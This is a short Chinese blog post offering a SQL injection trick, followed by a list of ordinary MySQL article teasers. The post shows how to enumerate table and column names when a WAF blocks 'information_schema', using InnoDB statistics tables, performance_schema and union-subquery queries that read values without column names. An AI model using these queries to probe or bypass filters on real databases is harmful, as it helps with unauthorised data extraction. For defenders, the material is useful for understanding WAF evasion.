jdbc获取mysql第二行表信息_【奇技淫巧】MySQL另类方法获取元数据信息

问：在进行MySQL注入时，我们通常是通过information_schema元数据来获取表名、字段名信息，从而读取相应数据。但是如果waf或其它过滤了information_schema关键字，那么还有什么方法可以读取元数据信息呢？答：从MySQL5.5开始，默认存储引擎称为InnoDB，但是在MySQL5.6及更高版本中，InnoDB创建了2个新表。innodb_index_stats和innodb_table_stats。这两个表都包含所有新创建数据库名及表名。

select * from mysql.innodb_table_stats;

select * from mysql.innodb_index_stats;

select table_name from mysql.innodb_table_stats where database_name=schema();

performance_schema方法：

SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();

表名知道了，那如何提取列名呢？根本不需要探测字段个数，当然你也可以用order by, group_by：

select (select*from users limit 1)=(select 1);select (select*from users limit 1)=(select 1, 2);

提取指定字段值：

select(select a from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);select(select b from(select 1 as a, 1 as b union select*from cms.src_user)x limit 1,1);

发表于国外最近某篇文章，觉得不错，实验了下发出来。

jdbc获取mysql第二行表信息_【奇技淫巧】MySQL另类方法获取元数据信息相关推荐

mysql查看当前表字符集_查看mysql字符集及修改表结构--表字符集，字段字符集
MySQL 乱码的根源是的 MySQL 字符集设置不当的问题,本文汇总了有关查看 MySQL 字符集的命令.包括查看 MySQL 数据库服务器字符集.查看 MySQL 数据库字符集,以及数据表和字段的 ...
mysql怎么多表备份_学习MySQL多表操作和备份处理
[IT168 服务器学院]前面我们熟悉了数据库和数据库表的基本操作,现在我们再来看看如何操作多个表. 多表操作在一个数据库中,可能存在多个表,这些表都是相互关联的.我们继续使用前面的例子.前面建立的 ...
mysql 横纵表转化_数据库MySQL横纵表相互转化操作实现方法
本文实例讲述了MySQL横纵表相互转化操作实现方法.分享给大家供大家参考,具体如下: 先创建一个成绩表(纵表) create table user_score ( name varchar(20), ...
mysql查看当前表字符集_查看mysql字符集及修改表字符集
MySQL 乱码的根源是的 MySQL 字符集设置不当的问题,本文汇总了有关查看 MySQL 字符集的命令.包括查看 MySQL 数据库服务器字符集.查看 MySQL 数据库字符集,以及数据表和字段的 ...
mysql教程多表查询_解析Mysql多表查询的实现
查询是数据库的核心,下面就为您介绍Mysql多表查询时如何实现的,如果您在Mysql多表查询方面遇到过问题,不妨一看. Mysql多表查询: CREATE TABLE IF NOT EXISTS co ...
mysql 查看数据表大小_关于MySQL 查询表数据大小的总结
一:关于MySQL表数据大小我们知道mysql存储数据文件一般使用表空间存储当mysql使用innodb存储引擎的时候,mysql使用表存储数据分为共享表空间和独享表空间两种方式 ·共享表空间:I ...
mysql修改user表密码_修改MySQL数据库中表的用户名和密码
原有网站账号密码忘记了,用第一种方法解决的,感觉直观快速安全. 方法一使用phpmyadmin,这是最简单的了,修改mysql库的user表, 不过别忘了使用PASSWORD函数. 方法二使用my ...
mysql和python的关系_八MySQL与Python
<1>数据库介绍什么是数据库? 数据库(Database)是按照数据结构来组织.存储和管理数据的仓库, 每个数据库都有一个或多个不同的API用于创建,访问,管理,搜索和复制所保存的数据. ...
mysql中什么来维护表之间_转mysql维护索引和表
即使用正确的类型创建了表并加上了合适的索引,工作也没有结束,还需要维护表和索引来确保他们都正常工作.维护表有三个主要的目的:找到并修复损坏的表,维护准确的索引统计信息,减少碎片. 一.找到并修复损坏的 ...

jdbc获取mysql第二行表信息_【奇技淫巧】MySQL另类方法获取元数据信息

jdbc获取mysql第二行表信息_【奇技淫巧】MySQL另类方法获取元数据信息相关推荐

最新文章

热门文章